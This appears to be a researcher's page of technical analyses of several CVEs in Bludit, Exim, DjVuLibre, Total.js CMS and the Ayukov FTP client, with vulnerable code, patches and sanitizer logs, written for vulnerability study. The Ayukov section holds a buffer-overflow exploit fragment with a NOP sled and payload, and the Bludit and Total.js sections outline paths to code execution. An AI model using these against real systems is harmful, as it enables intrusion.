wchen-r7 (173)
Last Login: October 22, 2019
wchen-r7's Latest (20) Contributions
Technical Analysis
CVE-2019-16113 Bludit Directory Traversal Vulnerability
Description
Bludit is a web application written in PHP to build your own website or blog, free and open source. It uses files in JSON format to store the content, so it is configuration-free.
A vulnerability was found in the upload-images.php file, where a remote user could upload a fake image file that is actually a malicious PHP payload, and gain remote code execution.
Technical Analysis
The vulnerable file (upload-images.php) is written as follows:
<?php defined('BLUDIT') or die('Bludit CMS.'); header('Content-Type: application/json'); /* | Upload an image to a particular page | | @_POST['uuid'] string Page uuid | | @return array */ // $_POST // ---------------------------------------------------------------------------- $uuid = empty($_POST['uuid']) ? false : $_POST['uuid']; // ---------------------------------------------------------------------------- // Set upload directory if ($uuid && IMAGE_RESTRICT) { $imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS; $thumbnailDirectory = $imageDirectory.'thumbnails'.DS; if (!Filesystem::directoryExists($thumbnailDirectory)) { Filesystem::mkdir($thumbnailDirectory, true); } } else { $imageDirectory = PATH_UPLOADS; $thumbnailDirectory = PATH_UPLOADS_THUMBNAILS; } $images = array(); foreach ($_FILES['images']['name'] as $uuid=>$filename) { // Check for errors if ($_FILES['images']['error'][$uuid] != 0) { $message = $L->g('Maximum load file size allowed:').' '.ini_get('upload_max_filesize'); Log::set($message, LOG_TYPE_ERROR); ajaxResponse(1, $message); } // Convert URL characters such as spaces or quotes to characters $filename = urldecode($filename); // Move from PHP tmp file to Bludit tmp directory Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); // Transform the image and generate the thumbnail $image = transformImage(PATH_TMP.$filename, $imageDirectory, $thumbnailDirectory); if ($image) { $filename = Filesystem::filename($image); array_push($images, $filename); } else { $message = $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']); Log::set($message, LOG_TYPE_ERROR); ajaxResponse(1, $message); } } ajaxResponse(0, 'Images uploaded.', array( 'images'=>$images )); ?>
The first thing that happens is that the code retrieves the “uuid” parameter from a POST request:
$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];
The uuid is used as part of the image directory path. If the path doesn’t exist, then it will be automatically created:
if ($uuid && IMAGE_RESTRICT) { $imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS; $thumbnailDirectory = $imageDirectory.'thumbnails'.DS; if (!Filesystem::directoryExists($thumbnailDirectory)) { Filesystem::mkdir($thumbnailDirectory, true); }
Next, the code starts uploading the file by accessing the $_FILES
variables. In here, the content of the uploaded item isn’t checked, which means even though the file expects an image file, it doesn’t actually have to be. A malicious PHP payload could be uploaded instead:
foreach ($_FILES['images']['name'] as $uuid=>$filename) { // ... code ...
Finally, the file is moved from PHP’s temp file to a custom tmp directory:
Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
Even though the image upload is uploaded to Bluedit’s tmp directory, you can actually also upload a .htaccess file to allow the PHP payload to be accessed remotely, and gain remote code execution.
Technical Analysis
CVE-2019-16928: Exim EHLO Heap Overflow Vulnerability
Description
Exim is an open source mail transfer agent (MTA) designed for receiving, routing, and delivering email messages. It is mostly installed on Unix-like systems, sometimes Microsoft Windows using Cygwin. As of 2019, approximately 57% of the publicly reachable mail servers on the Internet ran Exim, therefore it is quite a popular software.
A vulnerability was found in Exim by a Chinese security team called QAX A-Team, specifically related to the string_vformat() function not resizing a heap buffer correctly, resulting a heap overflow. Proof-of-concept is publicly available, and remote code execution could be possible. Since Exim has been widely used on the Internet, media attention for the vulnerability was also high. More details about the potential impact can be found the Project Sonar research from Rapid7.
Technical Details
The Bug Report
Initial information about the vulnerability can be traced to a ticket on Exim’s BugZilla system, also known as #2449. In there, we can see that the vulnerability is described as a heap overflow in the string_vformat() function, which can be triggered with a EHLO command. A Python proof-of-concept is also available.
A commit for the fix can also be found under the exim-4.92.2+fixes branch, which is a simple one-line change to the size argument for the gstring_grow
in file string.c:
// string.c:1593 gstring_grow(g, g->ptr, width - (lim - g->ptr)); // Vulnerable version gstring_grow(g, g->ptr, width); // Patched version
Now that the bug seems pretty legit, let’s go ahead and set up a box for debugging purposes.
Vulnerable Setup
The Exim source can be downloaded and compiled on a Unix-based machine. In my case, I set up a Ubuntu 18 box, with the following prepared:
sudo apt update && apt install build-essential clang libdb-dev libperl-dev libsasl2-dev libxt-dev libxaw7-dev
And then I got the 4.92.2 version:
wget http://exim.mirror.colo-serv.net/exim/exim4/old/exim-4.92.2.tar.xz
To build Exim, a Makefile needs to be created, and the easier way is by doing this in the Exim folder (also, remember to set the EXIM_USER option in the file):
cp src/EDITME Local/Makefile && cp exim_monitor/EDITME Local/eximon.conf
For debugging purposes, I compiled Exim as a “PIE” binary with AddressSanitizer:
CC=clang CFLAGS+=" -g -fPIC -fsanitize=address" ASAN_LIBS+="-static-libasan" ASAN_FLAGS+="-fsanitize=address -fno-omit-frame-pointer" FULLECHO='' LFLAGS+="-L/usr/lib/llvm-6.0/lib/clang/6.0.0/lib/linux/ -lasan -pie" ASAN_OPTIONS=detect_leaks=0:symbolize=1 LDFLAGS+=" -lasan -pie -ldl -lm -lcrypt" LD_PRELOAD+="/usr/lib/gcc/x86_64-linux-gnu/7/libasan.so" LIBS+="-lasan -pie" make -e clean all
Note: For some reason, I couldn’t really compile Exim with GCC with AddressSanitizer, and clang ended up being a much easier choice.
After that, the Exim binary can be found in the build-Linux-x86_64
directory. Typically, I prefer to verify that I compiled something correctly (such as PIE and ASAN states), so in this case I used pwntools to check this:
$ python pwntools/pwnlib/commandline/checksec.py exim-4.92.2/build-Linux-x86_64/exim [*] '/home/wchen/Desktop/exim-4.92.2/build-Linux-x86_64/exim' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ASAN: Enabled
And finally, start Exim as a foreground process:
sudo build-Linux-x86_64/exim -bd -d
Code Analysis
Looking at the bug report, the patched code actually comes from a function called string_vformat
. The purpose of it is to build or append to a custom string object that can automatically grow if necessary, and it is declared this way:
gstring* string_vformat(gstring * g, BOOL extend, const char *format, va_list ap)
The gstring
argument is a custom structure that is defined in the structs.h file as follows (Line 29):
gstring structure (structs.h:29) typedef struct gstring { int size; /* Current capacity of string memory */ int ptr; /* Offset at which to append further chars */ uschar * s; /* The string memory */ } gstring;
The second argument for string_vformat
is a boolean called extend
. This is simply a flag that indicates whether the program wants the gstring to grow or not. And finally, there’s a format
and va_list
argument, which is similar to how sprint
works.
The second argument is an important piece to the puzzle, because the vulnerable code requires it to be true in order to trigger. In this case, the string_vformat
function needs to grow gstring in order to make room for the input that it’s handling, and then the gstring will tell the function which index to begin saving the new input. This idea can be demonstrated as below:
First, let’s say we have allocated a 10-byte buffer. Visually, the 00 (null byte) represents free space:
Index: 0 1 2 3 4 5 6 7 8 9 Buffer: [00 00 00 00 00 00 00 00 00 00]
Initially, let’s also say we already have some data in the buffer, a few “A” characters. At this point, the offset at which to append further chars would be index 5:
* Offset starts at 5 Index: 0 1 2 3 4 5 6 7 8 9 Buffer: [41 41 41 41 41 00 00 00 00 00]
Now, we have a scenario where the new input is a bunch of “B”s that is also 10-byte long:
char* input = "BBBBBBBBBB"; // In hex, these are 42 42 42...
To put that in the buffer, we need to grow it. So in theory what is new size for the adjusted buffer? The math is:
strlen(input) + offset;
After growing the buffer, it should look like this:
* 5 = offset value Index: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Buffer: [41 41 41 41 41 00 00 00 00 00 00 00 00 00 00]
And finally, we have enough space to store the input:
* 5 = offset value Index: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Buffer: [41 41 41 41 41 42 42 42 42 42 42 42 42 42 42]
Knowing this concept, it is much easier to understand the vulnerability. The reason of the overflow is because the size calculation is wrong. The gstring_grow
function in Exim simply does not grow enough for gstring, as a result when it is storing the user supplied input from the EHLO command, it overflows, kind of like the following:
* 5 = offset value Index: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Buffer: [41 41 41 41 41 42 42 42 42 42 42 42 42 42 42] 42 42 42 42 42 ... ^ Overflow
Although the vulnerability requires additional buffer growth, not every call to string_vformat
sets the extend
flag too true. Looking around, it looks like there are many possible ways to trigger it:
- There are at least five functions that directly call
string_vformat
with theextend
flag to true.
- One of them is called
string_fmt_append
, and this function is used by about 56 other places through out the code base.
The scope here would be too time consuming to determine the actual vulnerable path, but we can narrow this down by a lot. All we need to do is figure out when the input enters the code, until when the vulnerable code triggers, then we can look into that code path:
Input ---> Code path to be investigated ---> string_vformat with extend argument to TRUE
In the Exim log, we can get a hint on where the input sort of begins:
70289 SMTP>> 220 ubuntu ESMTP Exim 4.92.2 Fri, 04 Oct 2019 09:21:46 -0700 70289 Process 70289 is ready for new message 70289 smtp_setup_msg entered 70289 SMTP<< EHLO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Notice that we see a “smtp_setup_msg” message first, and then the EHLO with our input. So if we search for that message and find the function printing it, we have a starting point:
// smtp_in.c:3891 int smtp_setup_msg(void) { int done = 0; BOOL toomany = FALSE; BOOL discarded = FALSE; BOOL last_was_rej_mail = FALSE; BOOL last_was_rcpt = FALSE; void *reset_point = store_get(0); DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n"); // ... code ...
So now, I guess we are looking for this type of code path:
smtp_setup_msg() ---> Code path unknown --> string_vformat(gs, TRUE, format, ap);
This is the very vague version, but in reality the unknown code path is often a rabbit hole. A large codebase such as Exim definitely took me a lot of time to clean up the noises. One way to reverse engineer how point A might get to point B is by using some kind of flow graph. Honestly, I don’t know if there is a good one for C/C++ source code, but you certainly do this with a plugin called AlleyCat from IDA Pro.
This is the graph I got that that shows how smtp_setup_msg()
could get to string_vformat
:
Looking at this graph is kind of like finding a needle in a haystack, but if you use it like a map to aid code analysis, you’re less likely to get lost in the rabbit hole. What’s really funny is that out of this complex map, let me show you the actual path to trigger the vulnerable code:
In the end, we only need to look at three functions:
- smtp_setup_msg() in smtp_in.c
- string_fmt_append in string.c
- string_vformat() in string.c (the vulnerable function)
In order to trigger step 2 (the string_fmt_append function), a user_msg
variable also needs to be null. The user_msg
is set from a function called acl_check()
(in acl.c). The null return value indicates the check returns OK, so that means our HELO needs to fail the ACL check.
Another requirement of the vulnerability is that if Exim is able to look up and resolve an IP address, then it would not trigger. For testing purposes, the easier way to clear your /etc/resolve.conf.
And finally, now with a good understanding of the vulnerable code path, we can verify all this with AddressSanitizer, and this concludes our analysis for CVE-2019-16928:
==56449==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000c598 at pc 0x7f8cd18048f9 bp 0x7ffe0bb4dea0 sp 0x7ffe0bb4d630 WRITE of size 11294 at 0x62500000c598 thread T0 #0 0x7f8cd18048f8 in __interceptor_vsprintf (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9e8f8) #1 0x7f8cd1804c86 in __interceptor_sprintf (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9ec86) #2 0x558f99fc796c in string_vformat /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1602 #3 0x558f99df7ee5 in debug_vprintf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:240 #4 0x558f99df6a3a in debug_printf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:165 #5 0x558f99ebeb20 in host_build_sender_fullhost /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/host.c:662 #6 0x558f99f9801a in smtp_setup_msg /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/smtp_in.c:4178 #7 0x558f99df0236 in handle_smtp_call /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:504 #8 0x558f99dec11f in daemon_go /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:2057 #9 0x558f99e5b0e9 in main /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim.c:4670 #10 0x7f8cd0386b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x558f99dc05b9 in _start (/home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim+0x1125b9) 0x62500000c598 is located 0 bytes to the right of 9368-byte region [0x62500000a100,0x62500000c598) allocated by thread T0 here: #0 0x7f8cd1844b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x558f99fbb78b in store_malloc_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:544 #2 0x558f99fba87c in store_get_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:167 #3 0x558f99fbd6f1 in store_newblock_3 /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/store.c:511 #4 0x558f99fcaab0 in gstring_grow /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1163 #5 0x558f99fc781b in string_vformat /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/string.c:1597 #6 0x558f99df7ee5 in debug_vprintf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:240 #7 0x558f99df6a3a in debug_printf /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/debug.c:165 #8 0x558f99ebeb20 in host_build_sender_fullhost /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/host.c:662 #9 0x558f99f9801a in smtp_setup_msg /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/smtp_in.c:4178 #10 0x558f99df0236 in handle_smtp_call /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:504 #11 0x558f99dec11f in daemon_go /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/daemon.c:2057 #12 0x558f99e5b0e9 in main /home/sinn3r/Desktop/exim-4.92.2/build-Linux-x86_64/exim.c:4670 #13 0x7f8cd0386b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9e8f8) in __interceptor_vsprintf Shadow bytes around the buggy address: 0x0c4a7fff9860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff9870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff9880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff9890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff98a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c4a7fff98b0: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff98c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff98d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff98e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff98f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff9900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==56449==ABORTING
References
Technical Analysis
CVE-2019-15142: DjVuLibre UTF8 Out-of-Bound Read Vulnerability
Description
DJVuLibre is an open source library for DjVu, a web-centric format and software platform for distributing documents and images. According to the official site, it is used by many academic, commercial, government, and non-commercial websites around the world.
A vulnerability was found by researcher Hongxu Chen. An out-of-bound read is possible when parsing a DJVU file, resulting a denial-of-service condition.
Technical Details
In DjVmDir::decode
of file DjVmDir.cpp, we have this block of code:
void DjVmDir::decode(const GP<ByteStream> &gstr) { // ... code ... // Line 292 GTArray<char> strings; char buffer[1024]; int length; while((length=bs_str.read(buffer, 1024))) { int strings_size=strings.size(); strings.resize(strings_size+length-1); memcpy((char*) strings+strings_size, buffer, length); } DEBUG_MSG("size of decompressed names block=" << strings.size() << "\n"); if (strings[strings.size()-1] != 0) { int strings_size=strings.size(); strings.resize(strings_size+1); strings[strings_size] = 0; } // Copy names into the files const char * ptr=strings; for(pos=files_list;pos;++pos) { GP<File> file=files_list[pos]; file->id=ptr; // ... code ... }
We start with a custom GTArray named strings
. It is used to store the user-provided byte stream, which we read up to 1024 bytes. While storing, the GTArray buffer gets resized before the data is copied:
GTArray<char> strings; char buffer[1024]; int length; while((length=bs_str.read(buffer, 1024))) { int strings_size=strings.size(); strings.resize(strings_size+length-1); memcpy((char*) strings+strings_size, buffer, length); }
If the char array does not end with a null byte, a null byte is inserted (and size readjusted):
if (strings[strings.size()-1] != 0) { int strings_size=strings.size(); strings.resize(strings_size+1); strings[strings_size] = 0; }
Next, a reference of the GTArray is copied, and then this is used as a file ID according to this line:
file->id=ptr;
The id
member is actually a custom GUTF8String. It overrides the =
operator, which the implementation can be found here:
// Line 2625 in GString.cpp GUTF8String& GUTF8String::operator= (const char *str) { return init(GStringRep::UTF8::create(str)); }
The implementation for create()
can be found here:
// Line 156 in GString.cpp GP<GStringRep> GStringRep::UTF8::create(const char *s) { GStringRep::UTF8 dummy; return dummy.strdup(s); }
The strdup
function isn’t exactly the same as the original strdup
in C/C++, in fact it is custom for UTF8. This is where the problem finally blows up. Although DjVmDir::decode
is aware that a null byte is necessary at the end of the string, it is just a ASCII type null byte terminator, which is only one byte, but that’s not enough for UTF8. In other words, the null byte terminating routine in DjVmDir::decode
does not really work. As a result, an off-by-one out-of-bound read condition could occur, which is proven in the AddressSanitizer bug report by Hongxu Chen:
==14708==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000000f1 at pc 0x7fd31456a66e bp 0x7ffc59407e10 sp 0x7ffc594075b8 READ of size 1 at 0x6040000000f1 thread T0 #0 0x7fd31456a66d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) #1 0x7fd3141a5d5b in GStringRep::strdup(char const*) const /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:1017 #2 0x7fd31419f474 in GStringRep::UTF8::create(char const*) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:160 #3 0x7fd3141b64fd in GUTF8String::operator=(char const*) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GString.cpp:2626 #4 0x7fd314054dbb in DjVmDir::decode(GP<ByteStream> const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVmDir.cpp:315 #5 0x7fd3140c0b54 in display_djvm_dirm /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:172 #6 0x7fd3140c2a64 in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:335 #7 0x7fd3140c2b1f in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:342 #8 0x7fd3140c31f0 in DjVuDumpHelper::dump(GP<ByteStream>) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:361 #9 0x562f0317dba7 in display(GURL const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:128 #10 0x562f0317e35d in main /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:178 #11 0x7fd3135fbb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #12 0x562f0317d909 in _start (/home/hongxu/FOT/djvulibre/djvu-djvulibre-git/install/bin/djvudump+0x3909) 0x6040000000f1 is located 0 bytes to the right of 33-byte region [0x6040000000d0,0x6040000000f1) allocated by thread T0 here: #0 0x7fd3145f9458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fd31415c17c in GArrayBase::resize(int, int) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GContainer.cpp:220 #2 0x7fd31405ede4 in GArrayTemplate<char>::resize(int) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/GContainer.h:496 #3 0x7fd314054aff in DjVmDir::decode(GP<ByteStream> const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVmDir.cpp:298 #4 0x7fd3140c0b54 in display_djvm_dirm /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:172 #5 0x7fd3140c2a64 in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:335 #6 0x7fd3140c2b1f in display_chunks /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:342 #7 0x7fd3140c31f0 in DjVuDumpHelper::dump(GP<ByteStream>) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/libdjvu/DjVuDumpHelper.cpp:361 #8 0x562f0317dba7 in display(GURL const&) /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:128 #9 0x562f0317e35d in main /home/hongxu/FOT/djvulibre/djvu-djvulibre-git/tools/djvudump.cpp:178 #10 0x7fd3135fbb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
It seems the vulnerability falls under the local attack category, therefore an out-of-bound read type vulnerability would not be directly threatening to the system. In our case specifically, it looks like the extra read would actually cause a crash somewhere in the decode()
function.
Technical Analysis
CVE-2019-15954: Total.js CMS 12 Widget Remote Code Execution
Introduction
Total.js is a Node.js Framework for building e-commerce applications, REST services, real-time apps, or apps for Internet of Things (IoT), etc. Total.js CMS is a Content Management System (application) that is part of the Total.js framework. A commercial version is also available, and can be seen used world-wide.
In Total.js CMS, a user with admin permission may be able to create a widget, and extend CMS functionalities for visitors. However, this can also be abused to upload JavaScript code that will be evaluated server side. As a result, it is possible to embed malicious JavaScript in the new widget, and gain remote code execution.
Technical Analysis
In the CVE advisory, we know that the vulnerability is associated with widget creation, so this is where we start the analysis. To do this, I looked for the keyword “New widget” because that is on the widget creation page, and very quickly I found the HTML page for that, as well as the JavaScript located at:
- cms/themes/admin/public/forms/widgets.html
- cms/schemas/widgets.js
The widgets.html file is what you actually look at when you’re adding a new widget from the GUI. After filling out the fields, you would click on the “Save” button, which in HTML is this:
<button name="submit">@(SAVE)</button>
And the button function is handled by the following code:
exports.submit = function(com) { SETTER('loading', 'show'); AJAX('POST [url]api/widgets/ REPEAT', GETR('widgets.form'), function(response) { SETTER('loading', 'hide', 1000); if (response.success) { SETTER('snackbar', 'success', '@(Widget has been saved successfully.)'); EXEC('widgets/refresh'); com.hide(); } }); };
The following URI is important because it tells us the route:
AJAX('POST [url]api/widgets/ REPEAT' ...
The route map can be found in admin.js, and our code indicates we are looking at this route:
// MODEL: /schema/widgets.js // ... Other routes ... ROUTE('POST #admin/api/widgets/ *Widget --> @save'); // ... Other routes...
The JavaScript comment actually reveals which JS file is responsible for the widgets routes, so clearly we need to be looking at widgets.js. The route also indicates we should be looking at a save
function, which links to setSave
, which starts the saving process.
During the saving process, it goes through a refreshing stage (in the refresh
function). Although there is a lot going on, the most interesting line is this:
var obj = compile(item.body); // Line 309 (widgets.js)
The compile
function parses the source code for the new widget. Apparently, the JavaScript tag is a bit customized, for example, this isn’t the standard JavaScript tag prefix, it is more specific to Total.JS:
var body = html.substring(beg, end); var beg = body.indexOf('>') + 1; var type = body.substring(0, beg); body = body.substring(beg); raw = raw.replace(type + body + '</script>', ''); body = body.trim(); if (type.indexOf('html') !== -1 || type.indexOf('plain') !== -1) body_template = body; else if (type.indexOf('total') !== -1 || type.indexOf('totaljs') !== -1) body_total = body; else if (type.indexOf('editor') !== -1) body_editor = body; else body_script = body;
After parsing, the code could be stored in a few different ways. Specifically we want to watch where these are going in code:
// Around line 258 in widgets.js obj.js = body_script; // ... code ... obj.editor = body_editor; // ... code ... obj.template = body_template; // ... code ... obj.total = body_total; // ... code ...
So that’s pretty much for the compile
function, and back to the refresh
function. Now that we have the parsed code, let’s see what refresh
is doing with the object members we’re interested in watching. Well, there are some interesting ones, for example, this is what happens to obj.total
:
if (obj.total) { var o = new WidgetInstace(); try { (new Function('exports', obj.total))(o); } catch (e) { WARNING.message = 'Widget <b>{0}</b> exception: <b>{1}</b>'.format(item.name, e.message); ADMIN.notify(WARNING); } obj.total = o; rebuild = true; }
As you can see here, if we have a JavaScript code block that starts like this:
<script total> // ... something ... </script>
Then that code goes to obj.total
, and that gets executed as a new function. To mimic that code execution, open up the Developer’s Tools in your browser, enter the following (which is basically what the code above is doing):
function WidgetInstance() {} var o = new WidgetInstance(); (new Function('exports', 'console.log("Hello World!");'))(o);
And you should see that console.log
is executed (which represents the user-provided script):
> function WidgetInstance() {} var o = new WidgetInstance(); (new Function('exports', 'console.log("Hello World!");'))(o); > VM33:3 Hello World!
Technical Analysis
Details
Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in 2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it handles the server input. The exploit was tested on Windows XP SP3 (English).
PoC
Here’s an example of how to crash the FTP client:
# Let the client log in client.get_once user = "331 OK.\r\n" client.put(user) client.get_once pass = "230 OK.\r\n" client.put(pass) sploit = "A"*4116 sploit << [target.ret].pack('V') # JMP ESP here sploit << "\x90"*16 sploit << payload.encoded sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length) sploit << "\r\n" client.put(sploit) client.get_once pwd = "257\r\n" client.put(pwd) client.get_once
Root Cause Analysis
When serving the PoC against the vulnerable app, the client’s command prompt shows:
12:28:43 331 OK. 12:28:43 USER anonymous 12:28:43 230 OK. 12:28:43 Successfully logged in as 'anonymous@192.168.0.12' 12:28:43 SYST 12:28:43 .................. Lots of AAAAAs here ..................... 12:28:43 TYPE I 12:28:43 257
The interesting part here is that when the client sends a SYST
request, the server responds
with a long string of data attempting to cause a crash. This would be a good starting point to
investigate the root cause.
With IDA Pro, we can tell that the SYST
string is at the following location:
.text:004096B6 ; char aSyst[] .text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8Co
When we cross reference, we can tell this is used by the OpenControlConnection
function.
Although there is no symbol to identify the actual function name “OpenControlConnection”, the
debugging message at the beginning of the function is a big hint:
int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>) { sub_45AF40(savedregs); *(_DWORD *)&name.sa_data[10] = a2; *(_DWORD *)&name.sa_data[6] = a3; *(_DWORD *)&name.sa_data[2] = a1; if ( !dword_477AEC ) sub_419B4C(1); while ( 1 ) { while ( 1 ) { do { sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]); ...
Anyway, inside the OpenControlConnection function, we can see that the SYST
command is
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
way):
.text:0040A504 push offset aSyst ; "SYST" .text:0040A509 lea eax, [ebp+charResBuffer] .text:0040A50F push eax ; charResBuffer .text:0040A510 lea eax, [ebp+args] .text:0040A516 push eax ; int .text:0040A517 push 0 ; int .text:0040A519 call SendFTPRequest
Inside the SendFTPRequest function, it looks like this:
int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...) { char *v4; // ebx@0 int v5; // edi@0 int v6; // esi@0 char *v7; // edx@1 char Dst[16384]; // [esp+18h] [ebp-4000h]@2 char *savedregs; // [esp+4018h] [ebp+0h]@1 va_list va; // [esp+4030h] [ebp+18h]@1 va_start(va, Format); sub_45AF40(savedregs); savedregs = v4; v7 = Format; if ( Format ) { v4 = Dst; // This actually checks the input for the FTP command from the client. // The 0x4000u indicates the string should not be longer than that, otherwise // there will be a buffer overflow warning in this function. snprintf1(Dst, 0x4000u, Format, va); v7 = Dst; } return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7); }
We were able to tell the second argument for SendFTPRequest
is actually a buffer for receiving
the server’s response, because the way it is used:
result = SendFTPRequest(0, (int)args, charResBuffer, "SYST"); if ( result == -4 ) return result; if ( result ) goto LABEL_231; if ( *(_DWORD *)args == 2 ) { sub_445CEC(charResBuffer); if ( strstr(charResBuffer, "unix") ) { if ( strstr(charResBuffer, "powerweb") ) { *(_DWORD *)dword_47B1E0 = 6; goto LABEL_206; } } ...
In addition, this buffer is actually on the stack, and it’s 4096 long:
-00001010 charResBuffer db 4096 dup(?)
This means that if the server responds with something longer than 4096 bytes for the SYST
request,
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
arbitrary code execution:
.text:0040AC39 lea esp, [ebp-2048h]
.text:0040AC3F pop ebx
.text:0040AC40 pop esi
.text:0040AC41 pop edi
.text:0040AC42 leave
.text:0040AC43 retn
”`
Since whoever is using SendFTPRequest
is responsible for providing the buffer of the server
response, and there are 47 other cross-references, it is possible there are different ways to
trigger the same bug. However, since it doesn’t look like there is a patch (because the product
is no longer in active development, from the exploit developer’s perspective, it is not necessary
to look for other ways to exploit it).
Technical Analysis
- In fact, doesn’t seem like the user should be authenticated at all. Looking at this request:
